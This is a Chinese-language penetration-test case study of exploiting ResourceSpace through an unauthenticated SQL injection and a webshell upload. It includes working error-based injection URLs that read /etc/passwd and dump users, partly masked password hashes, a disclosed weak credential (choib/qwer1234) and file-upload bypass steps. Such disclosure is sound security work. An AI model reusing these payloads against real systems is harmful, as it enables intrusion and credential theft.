起因

我們的一個客戶希望我們對其網站進行

滲透測試

,以發現其脆弱點並協助改進安全性。

在拿到對方滲透測試授權之後,我們開始了對其網站的分析。

尋找突破口

對方主站是一個定製開發的CMS,在進行一系列掃描和分析之後,未發現可利用的地方

於是開始分析其

二級域名

、發現其中某資源管理分站、目標作業系統linux、僅開放HTTP(80埠)、整站程式為ResourceSpace、一個開源php建站程式。

漏洞挖掘

因為是開源程式,考慮其漏洞挖掘相對容易一些,於是決定把這個網站作為突破口。

於是到resourcespace的官方網站(

http://www。

resourcespace。org/

)下載最新版原始碼,在本地本地搭建測試環境,開始白盒審計程式碼。

這個resourcespace大部分功能都是要登陸後才能使用的,而我們目標網站不允許外部註冊使用者,所以我們要挖掘不需要登入驗證就可利用的漏洞。

第一步要挖的是那些容易利用的漏洞,SQL注入之類的,經過一番grep,在pages/search_disk_usage。php裡面發現一處呼叫:

$results=do_search(getval(“search”,“”),getvalescaped(“restypes”,“”),“relevance”,getval(“archive”,“”),-1,“desc”,false,$starsearch,false,true);

再來看一下include/search_functions。php

if($sql_filter!=“”) {$sql_filter。=“ and ”;}

$

sql_filter

。=“archive=‘$archive’”; }

returnsql_query($sql_prefix 。 “select distinct *,r2。hit_count score from (select$select from resource r $sql_join where$sql_filter order by ref desc limit $last ) r2 order by $order_by” 。$sql_suffix,false,$fetchrows);

這裡存在一個典型的SQL注入漏洞。

我們在本地測試環境中訪問以下URL來測試:

http://192。168。1。172/ResourceSpace/pages/search_disk_usage。php?archive=a‘

返回:

一次透過漏洞挖掘成功滲透某網站的過程

證明了注入點確實存在。

不過這個超長的巢狀SQL注入要想利用起來還是有點麻煩的,想構造語句閉合幾個語句試了半天沒發現合適的方法。

因為對方資料庫是mysql所以準備利用rand&groupby報錯大法來試一下。

構造語句是這樣的:

http://192。168。1。172/ResourceSpace/pages/search_disk_usage。php?archive=a’%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),substring(load_file(‘/etc/passwd’),0,5))a%20from%20information_schema。tables%20group%20by%20a)b)%20and%20‘1’=‘1

果然讀到了passwd檔案內容,這是利用mysql一個特有的bug來報錯的手段,也是常用的SQL注入方法,對該方法原理不再贅述,感興趣的請參考:

http://

bugs。mysql。com/bug。php?

id=8652

接下來要做是獲取管理員密碼,進後臺傳webshell,於是嘗試了目標網站:

http://rs。XXXX。com/ResourceSpace/pages/search_disk_usage。php?archive=a’%20and%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(SELECT%20username%20from%20user%20limit%200,1))a%20from%20information_schema。tables%20group%20by%20a)b)%20and%20‘1’=‘1

返回:

一次透過漏洞挖掘成功滲透某網站的過程

密碼破解

返回了加密後的密碼,到這裡成功的希望就已經相當大了。

因為手工注入太麻煩,所以寫了個程式來跑出目標網站所有的賬號和密碼。

admin——-b****d93ce187f01b7e7c96b0b1df062

Sp****erS——-a****437d2e18f2fe5bf623412427493

J****J——-9****aa12a24a73953d5ab95567cd5d1

n****nph——-6****7f9f3d7ea132ba42d349df99b01

d****e——-1****dd082b77c13ca1ecafd1a0d7ac4

N****iaA——-a****4dfd4c74c15d9e7ab2620639f21

D****ahT——-c****cb83afadf07dda15b8a7716068a

J****P——-d****001e3b5f26967007ab2647b8ae6

b****rtm——-9****6d20cd016ffb3bc9593bd3ed0f3

J****R——-a****4b643d1e69aa8d51f9c616e46c9

L****A——-b****7d728a7048add07b6404e6854ac

……

密碼看起來像是MD5加密的,不過進一步檢視原始碼卻發現形勢不容樂觀,加密是加使用者名稱salt後MD5的:

md5($salt+$username+$pass)

這意味著無法在cmd5等網站查詢,也無法使用彩虹表破解,而只能選擇暴力破解:

(但resourcespace的預設密碼策略是要求密碼必須同時使用字母和數字的,這樣破解的希望就更小了,於是乎寫了個破解程式:

一次透過漏洞挖掘成功滲透某網站的過程

掛上我們的NB字典開始跑密碼,本來沒抱太大希望,但是希望總是留給勇於嘗試的人,還真有一個使用者使用了

弱口令

一次透過漏洞挖掘成功滲透某網站的過程

雖然不是admin賬號,但是成功登陸進去一樣可以做很多事情,我們接下來的目標是:獲取webshell進而獲得系統許可權。

檔案上傳

使用使用者choib/qwer1234登入進目標網站,發現有個地方是可以上傳圖片的,而且透過位元組截斷可以上傳php檔案,但是存在一個很大的問題是,上傳後的檔案被重新命名為隨機檔名,我們無法找到上傳後的webshell。

滲透過程到這裡再一次陷入僵局。

再回過頭來看resourcespace程式程式碼,透過分析程式發現可透過提交不正常請求,使程式強制報錯,爆出上傳的檔名。

當點選下載

圖片

時,並不會直接連線圖片的URL地址,而是透過訪問

/ResourceSpace/pages/download_progress。php?ref=24&ext=php&k=&alternative=1&search=%21last1000&offset=0&archive=0&sort=DESC&order_by=relevance

我們可以透過Burp修改HTTP請求,來讓程式報錯:

一次透過漏洞挖掘成功滲透某網站的過程

這樣就找到了上傳後的檔案,並且在目標系統上獲得了webshell:

一次透過漏洞挖掘成功滲透某網站的過程

後記

獲得shell後,我們又做了大量的工作,例如提權獲得root,內網滲透等等,但是因為涉及客戶一些敏感資訊,這裡就不再具體介紹了。

本文的主旨還是介紹透過挖掘並利用resourcespace漏洞來獲得滲透的突破口。

一次透過漏洞挖掘成功滲透某網站的過程

最後,作為一家負責任的安全廠商,我們把此漏洞提交給了resourcespace官方,希望能夠對提升開源軟體的安全性做一些貢獻。

作者及來源: 椒圖科技